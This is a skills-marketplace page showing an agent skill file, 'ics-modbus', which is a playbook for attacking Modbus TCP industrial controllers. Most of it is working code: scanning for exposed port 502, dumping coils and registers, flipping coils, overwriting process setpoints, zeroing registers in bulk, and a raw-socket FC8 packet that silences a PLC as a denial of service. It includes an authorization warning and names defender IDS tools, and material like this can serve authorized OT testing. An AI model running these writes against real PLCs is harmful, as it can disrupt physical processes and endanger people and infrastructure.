Skip to main content

ics-modbus

Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
26 de maio de 2026 às 09:25
Idioma detectado do SKILL.md
inglês
Estrelas
5.565
Forks
1.053

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
ics-modbus
description
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"modbus modbus-tcp tcp 502 plc scada coil register holding input function code fc fc8 fc43 mei serial gateway moxa","subdomain":"ics-ot","tags":"modbus, plc, scada, ics, ot","mitre_attack":"T0855, T0836, T0831"}
# Modbus TCP Attack Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable. ## Discover ```bash # Scan for port 502 nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24 # Or with Shodan / Censys: port:502 country:XX # Internet-facing Modbus is still depressingly common (search "modbus" on Shodan) ``` ## Read everything ```bash # Python pymodbus python3 -c ' from pymodbus.client import ModbusTcpClient c = ModbusTcpClient("10.0.0.5", port=502) c.connect() print("Coils 0-100:", c.read_coils(0, 100).bits) print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits) print("Hold regs:", c.read_holding_registers(0, 100).registers) print("Input regs:", c.read_input_registers(0, 100).registers) c.close() ' # Or with mbtget (CLI) mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs # nmap script enum nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5 ``` ## Identify the device (FC43 / MEI) ```bash # Function code 43 (Read Device Identification) returns vendor / model / firmware python3 -c ' from pymodbus.client import ModbusTcpClient from pymodbus.mei_message import ReadDeviceInformationRequest c = ModbusTcpClient("10.0.0.5", port=502) c.connect() r = c.execute(ReadDeviceInformationRequest(read_code=1)) print(r.information) c.close() ' # Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...} ``` ## Write attacks ### Single coil flip (DO output) ```python c.write_coil(address=10, value=True) # flip coil 10 ON # In a PLC, coil 10 might be: motor start, valve open, breaker close ``` ### Tamper holding registers (process setpoints) ```python c.write_register(address=100, value=9999) # often a setpoint or limit ``` ### Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode") ```python # Stops the PLC from responding to ANY Modbus request — soft DoS # Use raw socket: import socket, struct s = socket.socket() s.connect(("10.0.0.5", 502)) mbap = struct.pack(">HHHB", 1, 0, 6, 1) pdu = struct.pack(">BHH", 8, 0x0004, 0x0000) s.send(mbap + pdu) ``` ### Bulk-write registers (often unauthenticated) ```python c.write_registers(address=0, values=[0]*100) # zero-out 100 registers ``` ## Common findings | Finding | Impact | |---|---| | Modbus on internet | Full process control of whatever the PLC drives | | No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC | | Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN | | HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper | | Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) | ## OPSEC + safety - **Real-world warning**: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people. - Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) — `modbus_function_5` and `modbus_function_15` are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack. ## References - "Modbus Hacking" — Joel Langill (recurring S4 Conference talks) - pymodbus docs — github.com/pymodbus-dev/pymodbus - nmap NSE modbus-discover.nse - IEC 62443 (defender baseline; useful for understanding what's in-scope)
Ver no GitHub